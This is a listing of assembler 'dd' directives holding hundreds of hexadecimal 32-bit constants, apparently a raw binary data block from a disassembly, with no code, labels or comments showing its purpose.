dd 502B1541h, 0C779E6h, 0D99C5CF4h, 0AD21DF67h, 0E1005172h
dd 59B65E14h, 2D9E3A3Ch, 0DFD064A0h, 19417100h, 4C71AE1h
dd 0A57F02D8h, 0BA1D57E9h, 0A250D082h, 0E466A0A0h, 713A1078h
dd 0D846006Ah, 2B25C9A3h, 21B100E8h, 989AFC5h, 5C00E1A0h
dd 0A3873A18h, 13271ADh, 4F53F36Ah, 21B83628h, 17FFD00h
dd 98D4C2E8h, 1130C48Ch, 6A6CD033h, 0C3518663h, 0D16FE5E4h
dd 0A7D36002h, 0B105C101h, 0F81F1B5Ch, 0D094F450h, 107D29DEh
dd 7508C420h, 2044C004h, 0F08DC631h, 448CD26Ah, 8DEA01DFh
dd 2CBA0D00h, 4E64379Fh, 0EDBE3019h, 5138E821h, 0C0F85892h
dd 6EE0FCABh, 0D8A8EE3Bh, 0E0A0882Eh, 0F48BABD9h, 86574D40h
dd 8770CEBAh, 977CA800h, 36C9F44Bh, 24A27F79h, 11EC5EA7h
dd 9C888010h, 8CB6CFEDh, 11217F60h, 1E69CB0h, 29E0F8E4h
dd 6242D823h, 9F680F1Ch, 32900077h, 136BDDB9h, 0AA81CC2h
dd 828C59A0h, 0B73AE888h, 1DEF1468h, 0EBE1B1C0h, 130AE6h
dd 0F93D8D68h, 0A8746A81h, 1983A900h, 67AFBF0Fh, 905E03B5h
dd 0AEEAF6D0h, 48D257E1h, 47423A98h, 0AFB46704h, 4298892Ch
dd 1D3033A0h, 0A2131152h, 80D6884Dh, 0CB5216DDh, 8405D787h
dd 11B974D5h, 0C01F9808h, 0CFFC9CAFh, 45229E46h, 0A1203E61h
dd 0C3406AB7h, 739F5B62h, 721DE56h, 11ACB6BEh, 20FC929Ch
dd 2905CB2Ch, 9D5022B2h, 9A2CAC43h, 0BB6CD0CDh, 471D3D6Fh
dd 42AC121Dh, 64E8B601h, 35EFD090h, 0CC1CEh, 0B6E50EE2h
dd 37B903F5h, 0F8141989h, 0BC234B88h, 76E4BF00h, 72EC66B5h
dd 8DEA0FF2h, 2722DC4h, 8F1D4444h, 112C9D09h, 1D2680D3h
dd 83D9EA9h, 3FEF7468h, 0B608DB81h, 0ABD0635Fh, 0C3490437h
dd 80203381h, 0F6DC5A6Ch, 881D48B8h, 36004E4Fh, 0ABE93A22h
dd 0C191C179h, 0CA03ED8Dh, 0ECBEDC20h, 5E0E0214h, 0D62F3299h
dd 3B6F8EE0h, 403C2D59h, 0E8C71DCh, 0CFC69CB1h, 298184D1h
dd 9C991400h, 7838CC87h, 0A25E1688h, 97DAC704h, 7FD7C8D0h
dd 229CB845h, 0F1CE470h, 0A4C0B88Fh, 8E22D1D0h, 4678B8C4h
dd 521A02E0h, 3115A212h, 8B8A10F0h, 177C0152h, 210F5063h
dd 59E982E9h, 60EB3B56h, 0E4BD87FDh, 2CD1509Eh, 0B03CB886h
dd 12E82C24h, 0BEAB42C4h, 66529846h, 0BCDE5080h, 0C7586701h
dd 990DCF8Ah, 4490EC70h, 0D7FFD722h, 1B6E9290h, 0E33834F9h
dd 0E27BF01h, 0DB8022A5h, 7563DCC0h, 0F79A2661h, 973B0EC8h
dd 0D2C4EF61h, 5D81CCB5h, 0E9487500h, 77E3A536h, 70DC48DAh
dd 0CC2B6D06h, 0B50058A9h, 5B575C18h, 71398513h, 5A670087h
dd 0EDBAF40Dh, 0B09904D5h, 868FDDD0h, 0B998A607h, 0E6C12AC9h
dd 0BAD90F55h, 0E4F1C100h, 5194C500h, 30DDAA74h, 0C468057Bh
dd 9202920Eh, 0BCC58338h, 0BA60EFE4h, 0D30468C9h, 0A5345B96h
dd 0EF7E32C0h, 0EAED075Eh, 0DB222B8Eh, 0DA3839h, 6066819Bh
dd 0A7CF7172h, 6CB09A8Ah, 0C93B6D00h, 0E9B7FF5Eh, 0C7152C75h
dd 9981507Ch, 20678C29h, 305A14C2h, 9F0F4A2Eh, 0B31F399h
dd 8081DC9h, 2A63298Bh, 2CE8A0EBh, 0EF19C58Ah, 0D04488D2h
dd 81AA400h, 364809B7h, 4F2F0140h, 77142C0Dh, 0EF7C6092h
dd 52C2F622h, 0A5FE04C1h
dd 5073D00Eh, 8808F2Ch, 0CA0CE411h, 70B29ABh, 0AAB605B3h
dd 0CBBF60DCh, 2C03078Ah, 6498747Bh, 0A09FFBC1h, 0E2666721h
dd 0BC814C3Bh, 0AC903125h, 0AC05BDF3h, 60EDFDA7h, 8FF6F8C7h
dd 5FB94469h, 9A003777h, 8E9CA693h, 382A9F4Ch, 6A011049h
dd 0D74ADEB1h, 0C1A19869h, 3AC8D111h, 0AE00D80Ch, 9091671Eh
dd 223E872Eh, 0F54A0FC9h, 0E058E072h, 9C207486h, 49F18004h
dd 7A80FC96h, 9A3C2406h, 18E0625h, 11D01B4Bh, 60C2380Bh
dd 12F9DA38h, 0EB70C039h, 0FCDF4C4Fh, 0D5108800h, 0C8C70332h
dd 749F2E1Dh, 2C806E18h, 34B916DAh, 989C1EE7h, 0C69DB9BCh
dd 98AD496h, 4E844Ch, 908BAE70h, 0F3B3DB8h, 6EE10B00h
dd 0BFA67C99h, 0B8C48F32h, 0F8A4E457h, 9BA501DDh, 4F66A94Bh
dd 0D8E44046h, 0C9308D54h, 136E71F1h, 381E0104h, 0FDCE583h
dd 2008A51Bh, 34B2348h, 0DBA40C78h, 98D8D86Eh, 1C0EE818h
dd 0B140EF69h, 0F3E90004h, 0D726CDDFh, 5F905202h, 2C9D1993h
dd 59C7B8C8h, 0DF30D4BBh, 99BC8h, 516F2C60h, 0B6A072E5h
dd 0EC61D006h, 81767629h, 918AF5Ch, 38180404h, 0F52CE473h
dd 8103413Fh, 0F1511EAFh, 81C81FA8h, 0F0675C01h, 9065BE02h
dd 285A57EAh, 6B05B298h, 0E0F397ABh, 4402FCC2h, 47360044h
dd 6F57EAAh, 0F700CC64h, 0D0014E4Ah, 0BB01080h, 0D78A636Ah
dd 0E2195C07h, 944E8F4Bh, 2B639A00h, 8A95E9DFh, 13E70035h
dd 0BCA7B4B7h, 0CC7CADF8h, 0AF8B9900h, 4F64B174h, 12609067h
dd 21B519AEh, 71B021CCh, 6B10E840h, 83E8E407h, 0A7C0EDE7h
dd 4AA49B1Eh, 6F7820AFh, 843CCDC3h, 9EA7804Ah, 0E52A6973h
dd 707C3CC1h, 6692C500h, 853F77E9h, 4A2588B0h, 916C158Fh
dd 775380D9h, 383CE789h, 1A80D548h, 0AABE4DE8h, 74912BBDh
dd 913817A5h, 0D05D80F0h, 0E6922DD8h, 2154B963h, 3B0D80DCh
dd 0BBFB38Bh, 0FE9D7F14h, 32091520h, 0B27800C4h, 6A4DF647h
dd 8AC61C46h, 45D18005h, 4386BD07h, 0D829C4FAh, 5712D868h
dd 0EC987020h, 73AA05B9h, 0C1C359B6h, 2E39A20h, 9E1883C9h
dd 45660024h, 7B3E1A7Ch, 6309C720h, 9967AB9Bh, 1020DE7Ch
dd 0EE8A4D7h, 0AB41A110h, 57D8FC23h, 0AFC11905h, 9440C53Ch
dd 10A9D96h, 5C781C89h, 830400D4h, 0DF2217D5h, 0E100F8A6h
dd 0AECAD333h, 15299D1h, 2A6428F1h, 0DCECE6C3h, 0BB17AFB3h
dd 580385D5h, 0B821FA44h, 50943F96h, 0A77856h, 7BCF01C8h
dd 9534CF9h, 7FE8AA17h, 0C0F46030h, 3D97007Dh, 56E33B15h
dd 690F26E5h, 0C07ACD6Bh, 473A198Ch, 896C2488h, 0AFA9094Ch
dd 51F22C6Bh, 71274852h, 0D0781341h, 56C1F6h, 4957C6A9h
dd 19FE9E59h, 9018E127h, 0F4B112A0h, 4C8CA2D9h, 3760208h
dd 0E52B3887h, 24108919h, 8400042Eh, 0A7E152C9h, 18F469B9h
dd 0F9623AE8h, 42028674h, 0E975D13Fh, 99C722Ch, 77762767h
dd 2480A0A9h, 4F4BAB51h, 13EC103Ch, 0E8428C4Dh, 2453F571h
dd 103058BAh, 34674F99h, 5284A258h, 30EFE288h, 412CAFDFh
dd 9360A079h, 1275E0F9h, 4A6ABFDh, 508F2250h, 1FE0744h
dd 605F8531h, 62842C66h, 57AF3E81h, 0B280CBB5h, 53BC0720h
dd 2940B9C0h, 0FA3506h, 9674736Bh, 944B014h, 3F80C096h
dd 0D3CE3E45h, 157A0A31h, 5ECCD856h, 3A00BB46h, 9F8426FBh
dd 5A00C257h, 7DD5CE14h, 1DFD6722h, 40CA78E1h, 82AAA543h
dd 0C8948B29h, 0C89C9360h, 2CFE4FCFh, 0F3031A38h, 760BF09Ch
dd 0F4A5A8B5h, 54949810h, 0C9BC27h, 0CDCF8A6Ah, 0E3F0B979h
dd 2EC4E94Ch, 1E400809h, 93E842Ah, 0ED939D5Fh, 59231B80h
dd 4EE8E64Ah, 31501E0Eh, 0C13178DEh, 7CC700C8h, 22A5352Dh
dd 0E04E23AFh, 73432445h, 0C959ACDCh, 6C008B39h, 0A8DE882h
dd 2890D7E2h, 106A9204h, 38E0A2FEh, 725D444Ch, 0E04D761Bh
dd 0A171FB59h, 1C7D60Ah, 0C52C8B39h, 0E0E85D6Fh, 0FFE0B8F3h
dd 0B4E949C4h, 0A1A1488h, 719594BAh, 34B54018h, 690B1D43h
dd 0E048A742h, 75D894h, 0F2B31003h, 0E60C23F7h, 0E33D3600h
dd 2B99F9DEh, 0A56D4C1Dh, 0B88342Ch, 5100FED5h, 18A8D328h
dd 36274A18h, 6FB644C8h, 0B8788001h, 0E488E612h, 492B2A4Eh
dd 7BCB449Ch, 1B75E109h, 3AA4182Dh, 4CAAF01Ah, 0E8176050h
dd 0C04C2D39h, 0D2C0C03Ah, 9125AEF7h, 15A80C17h, 6049E002h
dd 1296E1Dh, 0AAB60403h, 0A0EFC864h, 8820C0DBh, 37BE2B4Fh
dd 18BE8258h, 0C339F644h, 20A0B08Fh, 6D1DACABh, 0F994D763h
dd 0C122EB0h, 0DF0A08h, 3D8227D5h, 98C5A010h, 0B887C87Eh
dd 0D7A0CBA7h, 0F8C22863h, 555712E9h, 80E04844h, 96C0C0ACh
dd 12642E49h, 894D8A5Dh, 586C6638h, 27A23C60h, 82B0096Bh
dd 0E8D216C4h, 0CEC3E0h, 8E1F2682h, 56087E0Bh, 9C4BB1F8h
dd 28E0083Ch, 1B875D5h, 6369410Dh, 80F3C0F8h, 37ED83D8h
dd 0A06018DAh, 4C1B9BB3h, 0C12449Fh, 6D540338h, 313E63D3h
dd 0DCF601E3h, 5EB82905h, 989B6870h, 576E654h, 0EAEBD145h
dd 43284339h, 1928C17Eh, 0E044C08Eh, 0EFE4266Ah, 65C047A0h
dd 4A60605Dh, 0AE64959Bh, 3008E9A8h, 0FC76B581h, 9050EC9Ch
dd 73CA27F6h, 0AFF11F54h, 48665412h, 10485016h, 29857CA7h
dd 59084A6Ah, 0D881F3Ch, 11918D3h, 1136D184h, 9878EE63h
dd 25E9D500h, 699EDA38h, 1AD148A1h, 0F5A6D50Ch, 390C9B49h
dd 3870F2D2h, 317F07D7h, 0C099C4A0h, 3BDC510Ch, 94546450h
dd 0EBE40514h, 1963F18h, 2C9CB429h, 82FE4DBBh, 81D3DB50h
dd 0AA45E01Ch, 309C07FCh, 3999825Eh, 5630C4B8h, 8871117Eh
dd 906301C5h, 12E862C8h, 0B2845110h, 93EBE3C4h, 0D4DB8C0h
dd 55CA830Ah, 0F93EFCE9h, 6B65D718h, 7BF7ED11h, 9048F22Ah
dd 0FE920A86h, 203466C5h, 0C1D560DCh, 5939919Bh, 0F2982E8h
dd 7830A032h, 5CD8947Eh, 0C19ECC65h, 0A905353Ch, 1EC7719h
dd 444B2187h, 1082E9ECh, 374E0ED5h, 0BA5B8480h, 643A2651h
dd 809B38A2h, 42F6C772h, 34D88639h, 2A61C55Ch, 711B2040h
dd 0EA0085E9h, 3829EC43h, 41C35B8Fh, 0E4E944B4h, 7941F1A1h
dd 491211E4h, 540FC714h, 0B664F07Ch, 81E13770h, 98F8D1BBh
dd 88419B38h, 4F710981h, 2C04A826h, 0A980900Ch, 46227B66h
dd 699A28EDh, 5E87210Ch, 0A3C49110h, 0D8C91653h, 6BF8C8EFh
dd 40094A4Bh, 0F091716Ch, 0A1009388h, 379F4124h, 0A01FD573h
dd 1F867C6h, 42A32560h, 86890C50h, 0D038BC48h, 694F03B1h
dd 0D5212D53h, 0B022D188h, 0E6020918h, 64ED61h, 39857A6Dh
dd 0F5D614Dh, 58C2EF00h, 67D8DCC8h, 62C70048h, 3B791AF6h
dd 0DE030D46h, 2E5641EEh, 0D5A0C037h, 906A0014h, 584208E2h
dd 0F40748CDh, 0A40F1972h, 0C7A88D20h, 0F09CE6E6h, 609DF8DDh
dd 586381EEh, 98BAC9EFh, 0BE08A300h, 0F3CDDCAh, 49FD76A2h
dd 1F006CFEh, 8342C5E1h, 0A10E2834h, 0F3C3BFh, 8FB95140h
dd 8886004Fh, 0B65682Fh, 1100E1D8h, 0B07D3273h, 0F7FFB8h
dd 695A0C0Eh, 0E6262182h, 0D08B4400h, 5B73078Ch, 2D1E3059h
dd 0EFBF5018h, 9030FB60h, 802C96E1h, 50C08E1Bh, 85477335h
dd 6761C008h, 952C0CF7h, 80F68F03h, 0A7F5D79Ah, 76FE21ACh
dd 0A58300E1h, 0BE13F86Eh, 9122EBE0h, 0AE070022h, 40828DAFh
dd 8E108BDAh, 0ED0FF480h, 17E66332h, 13002831h, 8DC94037h
dd 1D1BE066h, 184116F4h, 4FF12102h, 6AB6180h, 8FB822EAh
dd 0E80CC834h, 0F9083E52h
dd 7DDE20F4h, 94D3D929h, 9192373Eh, 14804CC7h, 0DC54F3A1h
dd 0F080FC40h, 0D37FF780h, 0C601DBBFh, 36BA3EE4h, 3680F597h
dd 86CE81Bh, 180337B7h, 705D16C6h, 0CFDDA045h, 1170049h
dd 589EE2B2h, 7800E093h, 812076ECh, 0E57357h, 0DF23FFE9h
dd 0BEB23ECCh, 726E8B00h, 65D440A5h, 15F10046h, 0E6BC4FA6h
dd 0EE075C89h, 2AF98111h, 0C2D058F0h, 0A2D3031Fh, 84EF36E1h
dd 0FE1DF0D5h, 4245E802h, 0C03DACB2h, 9D6A40h, 89655E6Fh
dd 0E40A049Ch, 0B001A5EAh, 0AE0232C1h, 8DC863BBh, 75690068h
dd 0B96ED1CFh, 3100BE94h, 0E339715Dh, 3EC137D2h, 6697A01Ch
dd 55A10003h, 1F06B292h, 0BCA14A07h, 36A03990h, 3EC327Fh
dd 0AC73293Ah, 7EE3CE4Ch, 0C50444E0h, 8E2B2D3Dh, 0A052688Eh
dd 9F7D6430h, 12C7C0Dh, 6EAB8914h, 0C4675D7Ch, 0C2174663h
dd 0FF0F1B77h, 0B8DC8031h, 180FFD66h, 0E8E33E2Ch, 8F00F5E0h
dd 0C837584Eh, 2AB5286h, 31BFD625h, 88984908h, 3A7D6788h
dd 0DAC0F7F3h, 4D000CFFh, 0F2747EE2h, 617CFA87h, 8F97F843h
dd 0D10FDC6Fh, 0ACE84260h, 67D81F60h, 93DA604Fh, 590621C2h
dd 7CB0882Ch, 5E3437C8h, 399EE031h, 2A0C95A7h, 197035E7h
dd 4C5900E4h, 1F08A581h, 4700917Eh, 65469E5Bh, 33C25Fh
dd 21A48E58h, 0E873F710h, 8F13E401h, 977D0A37h, 0E06260EEh
dd 0C0F33B42h, 0FFCA680h, 0CEF2A43h, 73E9879h, 0AD9601C4h
dd 5A9F6E1h, 408E3980h, 34886895h, 0FE2F000h, 71F8C64h
dd 0E5220066h, 25F7BC93h, 49C03FBBh, 38352386h, 6DF6066Fh
dd 38DB9C88h, 7504463h, 0EFC1A043h, 0DD31C02Eh, 5082CCA1h
dd 0AEBFB06h, 600894F8h, 0A2EE21DCh, 9358E7CCh, 0BE7C3998h
dd 5938B7h, 420FFB8Ah, 0A8EEBE97h, 11CC9E28h, 84035061h
dd 0FF009914h, 0F2C2CC87h, 9C75FB01h, 4AEEDCFEh, 4E24A8h
dd 0CC2ADA5Ch, 0FA1F92D0h, 38C0B572h, 4AACF77Dh, 0C93EEEAh
dd 447E41DBh, 88A0C908h, 0B800947Dh, 2F209545h, 340478Bh
dd 0A38C2A69h, 5106CBD1h, 17D78F22h, 5F110060h, 0EC1EB1F2h
dd 0C500D331h, 836C6791h, 1C5BFB21h, 0FDD762h, 0AFC0C32Fh
dd 3E00F913h, 9EA9A864h, 1A4117h, 71BF6263h, 0A5126B9Fh
dd 0C9741078h, 26C2A1Eh, 0E98288Bh, 0DF0B2088h, 4D27ADh
dd 0DAEF5A7Ch, 0DEB744Bh, 89EDD700h, 561F84B8h, 0B18502DDh
dd 0F3551E22h, 528DC2C0h, 8023163Bh, 0AF67A544h, 0F39249Bh
dd 1F649ACBh, 0DC04964Ah, 0D3A45C08h, 0D26CD89Ah, 960D0F8h
dd 0BE893D70h, 0F504A043h, 1ECA0871h, 4D141F35h, 0CCE61D1Ch
dd 8F0500Ch, 2018D10Dh, 0DA881860h, 0C41DFA94h, 9C19E37Bh
dd 9B2B599h, 18853E50h, 224C4DF6h, 7831D369h, 955319D2h
dd 63B51C43h, 9E4A1071h, 505064E5h, 0CD856010h, 408116Ch
dd 2622D283h, 449EF028h, 0A3C9B166h, 1C375309h, 36244D03h
dd 82A5C95h, 21320C1Dh, 832D29C3h, 23DC9A68h, 52BC1680h
dd 569EC050h, 34CB9AEh, 0F91155C4h, 409DEA9Fh, 0CCDB8F70h
dd 0F63996F1h, 88AB493h, 442FC2Eh, 0A795C3FAh, 451014C9h
dd 0FF000CE3h, 3C493DDCh, 7301A17Bh, 4126715Ah, 2040B5D7h
dd 6446E46h, 879CD9F2h, 0F73A1940h, 38483675h, 20C6F859h
dd 4F188FBEh, 0B4492E12h, 4C1E0023h, 0CBBF52Bh, 950C46B6h
dd 38CCED44h, 0C50706D7h, 10CBDB11h, 856A2100h, 0F3A632BEh
dd 0D5A53192h, 711E4069h, 69488FACh, 99005E97h, 0F2177E49h
dd 1ACC3ACFh, 0DCD2720Fh, 0B07AC447h, 96435463h, 0BEB03F12h
dd 0DE093040h, 0E802FABCh, 8FE6189h, 0C6C6398Ah, 0CD488CACh
dd 83FE51CEh, 88C8B160h, 153D405h, 1FAC1640h, 703FC561h
dd 0D1010CD4h, 64A1EF82h, 2470C103h, 52390CABh, 0A4E9CCE1h
dd 942C723Ah, 1E8C238Dh, 0E9F102DDh, 0B1D88B95h, 0AB690C96h
dd 9889996Fh, 0D6248D00h, 977A3F9Dh, 189C90F2h, 28AB9E4Bh
dd 0D680920Ah, 0EA6AF2D1h, 68C1DF90h, 71A11288h, 8FB400DCh
dd 5C825224h, 0ADAA260Ch, 0D9B3304Dh, 81D6E169h, 9BEACD08h
dd 3889DA3Ah, 648055DCh, 9EF0B5F6h, 4634824h, 21DB3B0Ch
dd 9ACD014Dh, 0C42753Fh, 1AA09492h, 86B440A8h, 8EF5ACA0h
dd 6A1D30C1h, 4B70C580h, 98B050E1h, 879D329Eh, 0A8949A89h
dd 33310C0h, 4EE6C9Fh, 5243CDC8h, 7389195h, 0B0A1035Bh
dd 0A581FF9Ch, 226588B8h, 253962h, 9772829Fh, 8B1F6974h
dd 0C3406E16h, 8FE4F30Fh, 3BFFFE95h, 6C8955F2h, 2002A979h
dd 40019363h, 0A442ABF6h, 0C739009Dh, 0C53E3A8Eh, 816C0E92h
dd 0C326E7CAh, 0ED243E81h, 72D9B8h, 4A9C30BBh, 822FCF52h
dd 0C6D7B618h, 920FB020h, 0A1660950h, 88251710h, 0D6B80961h
dd 0D94DC490h, 50CFB8A9h, 0BB025384h, 1A349CE8h, 0D80329F1h
dd 78DC90C1h, 888CA508h, 43043EB9h, 44968171h, 350C90E1h
dd 4815444h, 815B0B1Ch, 278FD618h, 29101A30h, 92882029h
dd 0A1968201h, 87018A4Ch, 0F0605349h, 4EF122h, 9379649Ch
dd 82AE0E40h, 0DC98A700h, 86164599h, 441090F5h, 0C0E264E4h
dd 9F180C77h, 1AB1B8C7h, 4229C8BBh, 9BC04C40h, 723CA0B9h
dd 528890C8h, 0E30E5803h, 909963FEh, 149F184Ah, 0F0BA0F27h
dd 1FA72E00h, 4C2BA269h, 93809B63h, 0B02060CCh, 0FDAB38E3h
dd 0CD9260DDh, 3C1FB800h, 6E8889BEh, 47D318F9h, 71CCD7A8h
dd 85AD833Fh, 0B455F971h, 10BFB00Fh, 4CBD184h, 881AD258h
dd 0C8015C40h, 0A765E4A8h, 0B16CD400h, 944C3AF1h, 726A2C18h
dd 376301BAh, 20951544h, 0AA551A38h, 9DACCC84h, 8C93CEF1h
dd 83C2848h, 80BCC6DBh, 0C8CD5214h, 0F54995A0h, 0AA82001Ch
dd 0CB30909Fh, 108F6047h, 0CC1D8EF1h, 488D1E26h, 8D41B01Ah
dd 3AD418C8h, 10BF6E54h, 7520F1AFh, 6499B782h, 8CC2FB28h
dd 0BB98FE54h, 23197200h, 2B55E7AFh, 46220727h, 0E0F46635h
dd 7E5DA41Ah, 7CB9E360h, 1EF70852h, 7A75364h, 0C6A8F0CDh
dd 4AFE2114h, 27C62E00h, 64DFF2ABh, 37A9024h, 4F26A1C1h
dd 0BBC0F656h, 22772967h, 3D0C4B4Ch, 597580ECh, 5BA160BDh
dd 0D7890F7h, 9A028784h, 62E1BB30h, 187F7A90h, 0F60809ADh
dd 64A88B64h, 45B140A6h, 6C5AA08h, 323F86D4h, 8F005094h
dd 0B40747A5h, 67553A1h, 9E3ADB7Ah, 0F80690B9h, 95E4A78Fh
dd 1BBA0079h, 693B1197h, 1333EE50h, 3CD08B1h, 9702D521h
dd 0BBE35E2Fh, 60AC0BC1h, 383FA6E0h, 2BB90032h, 8F966472h
dd 9E862805h, 55400388h, 16D3608Bh, 0E73BC3A8h, 8EBD4701h
dd 2E649D5Bh, 0F1D62C0h, 0F3321F0Ah, 35B29900h, 97004EA5h
dd 762B7C38h, 0A8C280h, 54D7FC06h, 9C70C1B1h, 0E31D27E8h
dd 78017723h, 0F749FAEEh, 7694C6E0h, 0CD342C98h, 28893E4Eh
dd 9880732Ah, 435D17Eh, 36267C19h, 0BA0B2B08h, 0BF16D980h
dd 0B47F7396h, 0BC002A7Ch, 90D07927h, 4A7A14h, 0EE9221F6h
dd 7372C7F2h, 196C7E18h, 899B0528h, 445B08C6h, 6B447AE0h
dd 92674409h, 0E9A92284h, 61280650h, 44BE8144h, 4720E845h
dd 142250C6h, 0EA0344A5h, 44954644h, 22842E18h, 0F65086F7h
dd 6A448128h, 0EF6D44EAh, 84027744h, 0A1F05932h, 8DFD1036h
dd 29B92E89h, 0D1A85A07h, 0EA22D067h, 0A70055D2h, 78F76CD0h
dd 74C08BFh, 968BD8AFh, 427A9099h, 9000C912h, 6746E30Fh
dd 13DBCA8h, 367263FCh, 609CE492h, 38E21735h, 0B3B06800h
dd 91AAE3DEh, 0C64F0079h
dd 8C850A4h, 0DD28882Bh, 0EE00A422h, 6596E87h, 0AF445Bh
dd 98B2AD7h, 0E758244Fh, 0FE0194FEh, 0F91755FCh, 0B7F0517Dh
dd 0CDBE2DFh, 0BD087FEAh, 1B000440h, 88A199A5h, 24C024A8h
dd 7143DC5h, 0C2FF3622h, 9AC0DFBCh, 6C16F364h, 0EB0165A6h
dd 6B560E86h, 6AEE1080h, 823EA904h, 93272300h, 1B2A29AFh
dd 0D2760B15h, 0CC015546h, 20364CB2h, 0B1505C44h, 88001374h
dd 28E8A54h, 8FD247h, 0D56FDA9Ah, 0B3BB6177h, 0D800F9FCh
dd 0B1BC1DDBh, 1CD39730h, 0C0F446E6h, 2E99E131h, 6F0CB36Dh
dd 282A1B25h, 0E37A0F53h, 0BBE0FE6Ch, 76877402h, 98282400h
dd 0ECA0A53Ch, 9DE088h, 0C491A743h, 717345A9h, 0DE235B1Ch
dd 74E5FA40h, 383CBF0Fh, 600A2E3h, 9AB8D1AAh, 0F800B747h
dd 9C358E22h, 0CCFC70h, 373ACE38h, 0E2DFD8Ah, 4E00BEF2h
dd 0C4531777h, 1D9DF37Ch, 0C7508492h, 90824301h, 21958DD0h
dd 0E11C1F07h, 0AF30AD7Eh, 0B48A70Eh, 0E7333BDBh, 382B0800h
dd 0E9FC764Bh, 7CCB01Eh, 82BD48C0h, 0C62731h, 5603921h
dd 8E37B520h, 3EAF5407h, 2AB1623h, 77E2B9F2h, 0FD883363h
dd 5248EEF3h, 8859000Eh, 2353A00Bh, 0E33F00ADh, 0E9A70598h
dd 0EA0FD772h, 0A074B737h, 0FEBFCC9Fh, 1F3F1E3Bh, 0A18241F4h
dd 40530463h, 0B0926588h, 1A0671F6h, 5AD09E59h, 2D4F0018h
dd 60103E21h, 0D500807Bh, 0CF5870AAh, 1209CE26h, 47A46577h
dd 0A0C81138h, 7616823Ch, 0FF5A7100h, 94D7F853h, 80E889h
dd 0F21E151Dh, 0C2461656h, 81AF8C00h, 5290FDB3h, 9C970004h
dd 0AD3D499Dh, 8A09D8EFh, 53B4AFh, 454DE224h, 0DA7E00C5h
dd 0A62FD67Dh, 0A9009E47h, 39D1FC92h, 0E478C1h, 2D7E2331h
dd 6EF58742h, 0E6C86860h, 366371h, 0FC568C79h, 8BC30517h
dd 803B0400h, 46663EE2h, 0F11D0770h, 60832550h, 33FD4D5Dh
dd 1E00A7FEh, 0D3C0E534h, 0BF2DB0h, 9D01F16Bh, 0BC99E32Eh
dd 6317A04h, 0C8C00D1Bh, 0E034992h, 263B105Ch, 7727FA20h
dd 0E170554Dh, 6E80C200h, 0A63CB563h, 5A650029h, 0E887C662h
dd 10003D91h, 0B7C4047Fh, 1D60EDF4h, 0BE8C5B09h, 36D9AAEh
dd 0B339F724h, 2CAAC0D0h, 52317514h, 143800B4h, 0BF3D3413h
dd 5AEE1E68h, 426EC097h, 98E18875h, 0E8DA761Ch, 2D113640h
dd 0B59BB8h, 25E2EC28h, 1F27A2AFh, 0B6D3930Ah, 0BB00AC77h
dd 0B35DBC9h, 0CBC80E5Eh, 407F69D7h, 333686E0h, 0A577CC9Eh
dd 0D3B45A00h, 0A06330FFh, 0F1FEB8h, 0DC381BBDh, 5B69D868h
dd 0BC808100h, 3E2B52C0h, 0A6F00396h, 0F7444798h, 3A83EC90h
dd 77087A03h, 1B5F32h, 245ACE88h, 805D72CDh, 81D6340Eh
dd 606820C4h, 0C208DBh, 0A4B9EE4Dh, 98B8AF3Bh, 0AEEE3560h
dd 90DB2156h, 0E5C9004Ch, 690D3627h, 8200D89Bh, 0A3657162h
dd 0E6B6D1h, 5C595A80h, 7FDD12FCh, 9574B404h, 0CC8125DFh
dd 0F4F05F3Eh, 0DAB21EEFh, 3F7281Fh, 0A1680B83h, 73A01C89h
dd 0EC01E09Dh, 0B5AA53D2h, 0E2F46144h, 38E40097h, 0FB3DC2EFh
dd 0D724BF54h, 0AC09489Ch, 5BF6837Bh, 71A5C8D4h, 0F26D3F1Dh
dd 34D8AA80h, 0BA661E9Ah, 3E0CAD75h, 38D90138h, 0AC220F6Eh
dd 8C803C25h, 169C915Ch, 5559F800h, 6F763402h, 43250177h
dd 7A891F93h, 873DC0E8h, 0A96CA807h, 5AE0465Bh, 0EA358D03h
dd 37C3041Bh, 0C34D6B67h, 0B6892912h, 0FC39805Fh, 0DC71B3BEh
dd 7B3D1E41h, 6DDD002Ch, 1B83339Ah, 97A2020Bh, 21440FCFh
dd 0B870C5ECh, 261E1180h, 4F1C8598h, 5879FC00h, 4EE107D6h
dd 3D3600A9h, 19904DDFh, 513E8CAh, 7040D138h, 0FFD6266Ch
dd 318003Fh, 0CC559802h, 0B400B1F3h, 776E637Dh, 0CBDC66h
dd 46A7D859h, 0F6873575h, 0DF77B498h, 0B4451E02h, 60084425h
dd 490B21h, 22EA204Dh, 0C1737AE4h, 5300A6E8h, 4ACB418Bh
dd 532A3C7h, 5D3FF3FCh, 0B6E800D4h, 0DA0ACFF9h, 0B4B24Ch
dd 52946D04h, 444E23h, 0BFE7B64Ch, 9CCC73F4h, 0B163F71Ch
dd 0B3D1F9C0h, 0EA31528Bh, 6179C1h, 0B517F84Fh, 60D30324h
dd 0EA9221C0h, 0F426EB6Bh, 0CB6D26D8h, 97F0E1Ah, 0AB722740h
dd 0D5701110h, 0F53D4700h, 62C3E59Bh, 0F4C128D9h, 0E04570D6h
dd 8A38002Dh, 4FF8ED52h, 9700033Ah, 0B0FFA786h, 1E2D78FCh
dd 2AF0BBAh, 0A654254Dh, 0F50CE581h, 40542069h, 6EB89A0Eh
dd 0DA9B0032h, 0F93D7Ah, 0FC78686Ah, 96C743E3h, 814F1538h
dd 0B53C4C02h, 0FE4064AEh, 74FCCAh, 0ABD2755Bh, 3149EE17h
dd 0BD2CA5E0h, 1F008415h, 97DB659Ch, 0C57B507Fh, 78CE06E5h
dd 0B810C177h, 99DE1501h, 252DD0E2h, 7208F0h, 0D5164FD8h
dd 0FEA71163h, 857E6F01h, 0F7DF9EE8h, 0EAEBC88Fh, 0C84288A0h
dd 1D4877ADh, 0BE0B01F0h, 3EA50208h, 0EA408880h, 1DBDCE70h
dd 6566C70Fh, 0E0AC2043h, 1E15C996h, 0C0A05E6Fh, 27ADA54Ch
dd 530B4AB7h, 9125CBBDh, 9030AE48h, 0BCBA009Dh, 8E77C5B4h
dd 0FF005D9Bh, 0C92C20C7h, 0BF08F1h, 0A3151A69h, 0D268F309h
dd 0FD7FE670h, 54E2BA00h, 9A2E4ECEh, 471B18E3h, 0C79579DEh
dd 8793C24h, 0CC397524h, 1C7D19C8h, 7870E9B8h, 5FA40095h
dd 3B7F4CD8h, 5016499Ah, 0D4E0E2A3h, 6BB21F96h, 0F1A70705h
dd 25932070h, 2B067DCDh, 0DABAD10Dh, 0D674A8D2h, 0E7DD3C9Dh
dd 506A6B00h, 0A4E59EFEh, 374979F8h, 284898h, 96146C9Ah
